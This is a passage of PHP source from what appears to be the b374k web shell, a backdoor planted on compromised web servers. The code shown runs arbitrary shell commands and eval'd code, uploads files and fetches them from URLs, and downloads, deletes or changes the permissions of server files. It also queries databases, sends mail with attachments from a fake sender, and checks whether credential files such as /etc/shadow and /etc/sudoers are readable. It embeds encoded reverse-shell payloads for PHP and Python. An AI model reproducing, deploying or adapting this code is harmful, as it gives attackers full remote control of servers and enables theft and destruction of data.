if($findType=='file') $candidate = array_filter($candidate, "is_file");
elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
else $res = "error";
foreach($candidate as $k){
if(($findType=="file")||($findType=="folder")){
if(!empty($findName)){
if($findNameRegex=="true"){
$case = ($findNameInsensitive=="true")? "i":"";
if(!preg_match("/".$findName."/".$case, basename($k))){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findNameInsensitive=="true"){
$check = strpos(strtolower(basename($k)), strtolower($findName))===false;
}
else{
$check = strpos(basename($k), $findName)===false;
}
if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
if($findType=="file"){
if(!empty($findContent)){
$content = read_file($k);
if($findContentRegex=="true"){
$case = ($findContentInsensitive=="true")? "i":"";
if(!preg_match("/".$findContent."/".$case, $content)){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findContentInsensitive=="true"){
$check = strpos(strtolower($content), strtolower($findContent))===false;
}
else{
$check = strpos($content, $findContent)===false;
}
if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
}
foreach($candidate as $k){
if($findWritable=="true"){
if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
}
if($findReadable=="true"){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
}
}
if(count($candidate)>0){
$res = "";
foreach($candidate as $k){
$res .= "> ".html_safe($k)."
";
}
}
else $res = "";
output($res);
}
elseif(isset($p['ulType'])){
$ulSaveTo = trim($p['ulSaveTo']);
$ulFilename = trim($p['ulFilename']);
if($p['ulType']=='comp'){
$ulFile = $_FILES['ulFile'];
if(empty($ulFilename)) $ulFilename = $ulFile['name'];
if(is_uploaded_file($ulFile['tmp_name'])){
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
$res = "> ".html_safe($newfile)." ( 100% )";
}
else $res = "error";
}
else $res = "error";
}
elseif($p['ulType']=='url'){
$ulFile = trim($p['ulFile']);
if(empty($ulFilename)) $ulFilename = basename($ulFile);
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
if(download($ulFile, $newfile)){
$res = "> ".html_safe($newfile)." ( 100% )";
}
else $res = "error";
}
else $res = "error";
output($res);
}
elseif(isset($p['download'])){
$file = trim($p['download']);
if(is_file($file)){
header("Content-Type: application/octet-stream");
header('Content-Transfer-Encoding: binary');
header("Content-length: ".filesize($file));
header("Cache-Control: no-cache");
header("Pragma: no-cache");
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
$handler = fopen($file,"rb");
while(!feof($handler)){
print(fread($handler, 1024*8));
@ob_flush();
@flush();
}
fclose($handler);
die();
}
}
elseif(isset($p['multimedia'])){
$file = trim($p['multimedia']);
$mime_list = get_resource('mime');
$mime = "";
$file_ext_pos = strrpos($file, ".");
if($file_ext_pos!==false){
$file_ext = trim(substr($file, $file_ext_pos),".");
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
$mime = $res[1];
}
}
if(is_file($file)){
header("Content-Type: ".$mime);
header('Content-Transfer-Encoding: binary');
header("Content-length: ".filesize($file));
echo "data:".$mime.";base64,".base64_encode(read_file($file));
die();
}
}
elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){
$massType = trim($p['massType']);
$massBuffer = trim($p['massBuffer']);
$massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
$massValue = trim($p['massValue']);
$counter = 0;
$massBufferArr = explode("\n", $massBuffer);
if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
if(compress($massType, $massValue, $massBufferArr)){
$counter++;
return $counter;
}
}
else{
foreach($massBufferArr as $k){
$path = trim($k);
if(file_exists($path)){
$preserveTimestamp = filemtime($path);
if($massType=='delete'){
if(is_file($path)){
if(unlink($path)) $counter++;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $counter++;
}
}
elseif($massType=='cut'){
$dest = $massPath.basename($path);
if(rename($path, $dest)){
$counter++;
touch($dest, $preserveTimestamp);
}
}
elseif($massType=='copy'){
$dest = $massPath.basename($path);
if(is_dir($path)){
if(copys($path, $dest)>0) $counter++;
}
elseif(is_file($path)){
if(copy($path, $dest)) $counter++;
}
}
elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
if(decompress($massType, $path, $massValue)){
$counter++;
return $counter;
}
}
elseif(!empty($massValue)){
if($massType=='chmod'){
if(chmod($path, octdec($massValue))) $counter++;
}
elseif($massType=='chown'){
if(chown($path, $massValue)) $counter++;
}
elseif($massType=='touch'){
if(touch($path, strtotime($massValue))) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
output('error');
}
elseif(isset($p['viewFileorFolder'])){
$entry = $p['viewFileorFolder'];
if(is_file($entry)) output('file');
elseif(is_dir($entry)) output('folder');
output('error');
}
elseif(isset($p['terminalInput'])){
output(html_safe(execute($p['terminalInput'])));
}
elseif(isset($p['evalInput']) && isset($p['evalType'])){
$evalInput = $p['evalInput'];
$evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
$evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
$evalType = $p['evalType'];
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','1');
@ini_set('display_startup_errors','1');
$res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
if($res===false) $res == "error";
output(html_safe($res));
}
elseif(isset($p['evalGetSupported'])){
$res = eval_get_supported();
if(empty($res)) $res = "error";
output($res);
}
$GLOBALS['module']['convert']['id'] = "convert";
$GLOBALS['module']['convert']['title'] = "Convert";
$GLOBALS['module']['convert']['js_ontabselected'] = "
if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
$GLOBALS['module']['convert']['content'] = "
Convert
convert
You can also press ctrl+enter to submit
";
if(!function_exists('decode')){
function decode($str){
$res = "";
$length = (int) strlen($str);
$res .= decode_line("md5", md5($str), "input");
$res .= decode_line("sha1", sha1($str), "input");
$res .= decode_line("base64 encode", base64_encode($str), "textarea");
$res .= decode_line("base64 decode", base64_decode($str), "textarea");
$res .= decode_line("hex to string", @pack("H*" , $str), "textarea");
$res .= decode_line("string to hex", bin2hex($str), "textarea");
$ascii = "";
for($i=0; $i<$length; $i++){
$ascii .= ord(substr($str,$i,1))." ";
}
$res .= decode_line("ascii char", trim($ascii), "textarea");
$res .= decode_line("reversed", strrev($str), "textarea");
$res .= decode_line("lowercase", strtolower($str), "textarea");
$res .= decode_line("uppercase", strtoupper($str), "textarea");
$res .= decode_line("urlencode", urlencode($str), "textarea");
$res .= decode_line("urldecode", urldecode($str), "textarea");
$res .= decode_line("rawurlencode", rawurlencode($str), "textarea");
$res .= decode_line("rawurldecode", rawurldecode($str), "textarea");
$res .= decode_line("htmlentities", html_safe($str), "textarea");
if(function_exists('hash_algos')){
$algos = hash_algos();
foreach($algos as $algo){
if(($algo=='md5')||($algo=='sha1')) continue;
$res .= decode_line($algo, hash($algo, $str), "input");
}
}
return $res;
}
}
if(!function_exists('decode_line')){
function decode_line($type, $result, $inputtype){
$res = "".$type." ";
if($inputtype=='input'){
$res .= " ";
}
else{
$res .= "";
}
return $res;
}
}
if(isset($p['decodeStr'])){
$decodeStr = $p['decodeStr'];
output(decode($decodeStr));
}
$GLOBALS['module']['database']['id'] = "database";
$GLOBALS['module']['database']['title'] = "Database";
$GLOBALS['module']['database']['js_ontabselected'] = "";
$GLOBALS['module']['database']['content'] = "
";
if(!function_exists('sql_connect')){
function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_connect')){
$coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
return @sqlsrv_connect($sqlhost,$coninfo);
}
elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'pgsql'){
$hosts = explode(":", $sqlhost);
if(count($hosts)==2){
$host_str = "host=".$hosts[0]." port=".$hosts[1];
}
else $host_str = "host=".$sqlhost;
if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
}
elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
elseif($sqltype == 'sqlite3'){
if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
else return false;
}
elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
elseif($sqltype == 'pdo'){
if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
else return false;
}
return false;
}
}
if(!function_exists('sql_query')){
function sql_query($sqltype, $query, $con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->query($query);
elseif(function_exists('mysql_query')) return mysql_query($query);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
elseif(function_exists('mssql_query')) return mssql_query($query);
}
elseif($sqltype == 'pgsql') return pg_query($query);
elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
elseif($sqltype == 'sqlite3') return $con->query($query);
elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
elseif($sqltype == 'odbc') return odbc_exec($con, $query);
elseif($sqltype == 'pdo') return $con->query($query);
}
}
if(!function_exists('sql_num_rows')){
function sql_num_rows($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
}
elseif($sqltype == 'pgsql') return pg_num_rows($result);
elseif($sqltype == 'oracle') return oci_num_rows($result);
elseif($sqltype == 'sqlite3'){
$metadata = $result->fetchArray();
if(is_array($metadata)) return $metadata['count'];
}
elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
elseif($sqltype == 'odbc') return odbc_num_rows($result);
elseif($sqltype == 'pdo') return $result->rowCount();
}
}
if(!function_exists('sql_num_fields')){
function sql_num_fields($sqltype, $result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->field_count;
elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
}
elseif($sqltype == 'pgsql') return pg_num_fields($result);
elseif($sqltype == 'oracle') return oci_num_fields($result);
elseif($sqltype == 'sqlite3') return $result->numColumns();
elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
elseif($sqltype == 'odbc') return odbc_num_fields($result);
elseif($sqltype == 'pdo') return $result->columnCount();
}
}
if(!function_exists('sql_field_name')){
function sql_field_name($sqltype,$result,$i){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_field_metadata')){
$metadata = sqlsrv_field_metadata($result);
if(is_array($metadata)){
$metadata=$metadata[$i];
}
if(is_array($metadata)) return $metadata['Name'];
}
elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
}
elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
elseif($sqltype == 'sqlite3') return $result->columnName($i);
elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
elseif($sqltype == 'pdo'){
$res = $result->getColumnMeta($i);
return $res['name'];
}
}
}
if(!function_exists('sql_fetch_data')){
function sql_fetch_data($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->fetch_row();
elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
}
elseif($sqltype == 'pgsql') return pg_fetch_row($result);
elseif($sqltype == 'oracle') return oci_fetch_row($result);
elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
elseif($sqltype == 'odbc') return odbc_fetch_array($result);
elseif($sqltype == 'pdo') return $result->fetch(2);
}
}
if(!function_exists('sql_close')){
function sql_close($sqltype,$con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->close();
elseif(function_exists('mysql_close')) return mysql_close($con);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
elseif(function_exists('mssql_close')) return mssql_close($con);
}
elseif($sqltype == 'pgsql') return pg_close($con);
elseif($sqltype == 'oracle') return oci_close($con);
elseif($sqltype == 'sqlite3') return $con->close();
elseif($sqltype == 'sqlite') return sqlite_close($con);
elseif($sqltype == 'odbc') return odbc_close($con);
elseif($sqltype == 'pdo') return $con = null;
}
}
if(!function_exists('sql_get_supported')){
function sql_get_supported(){
$db_supported = array();
if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
if(function_exists("oci_connect")) $db_supported[] = 'oracle';
if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
if(class_exists("PDO")) $db_supported[] = 'pdo';
return implode(",", $db_supported);
}
}
if(isset($p['dbGetSupported'])){
$res = sql_get_supported();
if(empty($res)) $res = "error";
output($res);
}
elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
$type = $p['dbType'];
$host = $p['dbHost'];
$user = $p['dbUser'];
$pass = $p['dbPass'];
$port = $p['dbPort'];
$con = sql_connect($type ,$host , $user , $pass);
$res = "";
if($con!==false){
if(isset($p['dbQuery'])){
$query = $p['dbQuery'];
$pagination = "";
if((isset($p['dbDB']))&&(isset($p['dbTable']))){
$db = trim($p['dbDB']);
$table = trim($p['dbTable']);
$start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
$limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;
if($type=='mysql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
}
elseif($type=='mssql'){
$query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
}
elseif($type=='pgsql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
}
elseif($type=='oracle'){
$limit = $start + $limit;
$query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
}
elseif($type=='sqlite' || $type=='sqlite3'){
$query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
}
else $query = "";
$pagination = "Limit
prev
next
";
}
$querys = explode(";", $query);
foreach($querys as $query){
if(trim($query) != ""){
$query_query = sql_query($type, $query, $con);
if($query_query!=false){
$res .= "".html_safe($query)."; [ ok ]
";
if(!empty($pagination)){
$res .= "".$pagination."
";
}
if(!is_bool($query_query)){
$res .= "";
for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
$res .= "".html_safe(sql_field_name($type, $query_query, $i))." ";
$res .= " ";
while($rows = sql_fetch_data($type, $query_query)){
$res .= "";
foreach($rows as $r){
if(empty($r)) $r = " ";
$res .= "".html_safe($r)." ";
}
$res .= " ";
}
$res .= "
";
}
}
else{
$res .= "".html_safe($query)."; [ error ]
";
}
}
}
}
else{
if(($type!='pdo') && ($type!='odbc')){
if($type=='mysql') $showdb = "SHOW DATABASES";
elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
else $showdb = "SHOW DATABASES";
$query_db = sql_query($type, $showdb, $con);
if($query_db!=false) {
while($db_arr = sql_fetch_data($type, $query_db)){
foreach($db_arr as $db){
if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
else $showtbl = "";
$res .= "".$db."
";
$query_table = sql_query($type, $showtbl, $con);
if($query_table!=false){
while($tables_arr = sql_fetch_data($type, $query_table)){
foreach($tables_arr as $table) $res .= "".$table." ";
}
}
$res .= "
";
}
}
}
}
}
}
if(!empty($res)) output($res);
output('error');
}
$GLOBALS['module']['info']['id'] = "info";
$GLOBALS['module']['info']['title'] = "Info";
$GLOBALS['module']['info']['js_ontabselected'] = "";
$GLOBALS['module']['info']['content'] = "
";
if(!function_exists('info_getinfo')){
function info_getinfo(){
$res = "";
// server misc info
$res .= "Server Info
";
$res .= "";
if(is_win()){
foreach (range("A", "Z") as $letter){
if(is_readable($letter.":\\")){
$drive = $letter.":";
$res .= "drive ".$drive." ".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))." ";
}
}
}
else $res .= "root partition ".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))." ";
$res .= "php ".phpversion()." ";
$access = array("python"=>"python -V",
"perl"=>"perl -e \"print \$]\"",
"python"=>"python -V",
"ruby"=>"ruby -v",
"node"=>"node -v",
"nodejs"=>"nodejs -v",
"gcc"=>"gcc -dumpversion",
"java"=>"java -version",
"javac"=>"javac -version"
);
foreach($access as $k=>$v){
$version = execute($v);
$version = explode("\n", $version);
if($version[0]) $version = $version[0];
else $version = "?";
$res .= "".$k." ".$version." ";
}
if(!is_win()){
$interesting = array(
"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
"/etc/ssh/sshd_config",
"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
foreach($interesting as $f){
if(@is_file($f) && @is_readable($f)) $res .= "".$f." ".$f." is readable ";
}
}
$res .= "
";
if(!is_win()){
// cpu info
if($i_buff=trim(read_file("/proc/cpuinfo"))){
$res .= "CPU Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
foreach($i_buffs as $i_buffss){
$i_buffss = trim($i_buffss);
if($i_buffss!=""){
$i_buffsss = explode("\n", $i_buffss);
$res .= "
";
foreach($i_buffsss as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
}
$res .= "
";
}
}
$res .= "
";
}
// mem info
if($i_buff=trim(read_file("/proc/meminfo"))){
$res .= "Memory Info
";
$i_buffs = explode("\n", $i_buff);
$res .= "";
foreach($i_buffs as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
else $res .= "
";
}
// partition
if($i_buff=trim(read_file("/proc/partitions"))){
$i_buff = preg_replace("/\ +/", " ", $i_buff);
$res .= "Partitions Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
$res .= "
";
$i_head = explode(" ", $i_buffs[0]);
foreach($i_head as $h) $res .= "".$h." ";
$res .= " ";
$i_buffss = explode("\n", $i_buffs[1]);
foreach($i_buffss as $i_b){
$i_row = explode(" ", trim($i_b));
$res .= "";
foreach($i_row as $r) $res .= "".$r." ";
$res .= " ";
}
$res .= "
";
$res .= "
";
}
}
$phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
foreach($phpinfo as $p=>$i){
$res .= "".$p."
";
ob_start();
eval("phpinfo(".$i.");");
$b = ob_get_contents();
ob_end_clean();
if(preg_match("/(.*?)<\/body>/is", $b, $r)){
$body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]);
$body = str_replace("(.*?)<\/tr>/", "", $body);
$body = preg_replace("//", "", $body);
$body = preg_replace("/ /", "", $body);
$res .= "".$body."
";
}
}
$res .= "refresh
";
return $res;
}
}
if(isset($p['infoRefresh'])){
output(info_getinfo());
}
$GLOBALS['module']['mail']['id'] = "mail";
$GLOBALS['module']['mail']['title'] = "Mail";
$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
$GLOBALS['module']['mail']['content'] = "
";
if(!function_exists('send_email')){
function send_email($from, $to, $subject, $msg, $attachment){
$headers = "MIME-Version: 1.0\r\nFrom: ".$from."\r\nReply-To: ".$from."\r\n";
$rand = md5(time());
$headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n";
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n";
$headers .= $msg."\r\n\r\n";
if(count($attachment)>0){
foreach($attachment as $file){
if(is_file($file)){
$content = chunk_split(base64_encode(read_file($file)));
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n";
$headers .= "Content-Disposition: attachment\r\n\r\n";
$headers .= $content."\r\n\r\n";
}
}
}
$headers .= "--".$rand."--\r\n";
if(@mail($to, $subject, "", $headers)) return true;
return false;
}
}
if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){
$mailFrom = trim($p['mailFrom']);
$mailTo = trim($p['mailTo']);
$mailSubject = trim($p['mailSubject']);
$mailContent = trim($p['mailContent']);
$mailAttachment = trim($p['mailAttachment']);
$mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array();
if(empty($mailTo)) output("Please specify at least one recipient");
if(empty($mailFrom)) $mailFrom = "anonymous@anonymous.com";
foreach($mailAttachment as $file){
$file = trim($file);
if(empty($file)) continue;
if(!is_file($file)) output("No such file : ".$file);
}
if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($to));
output("Failed to send mail");
}
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "executable ":"";
$GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G";
$GLOBALS['resources']['rs_python'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc=";
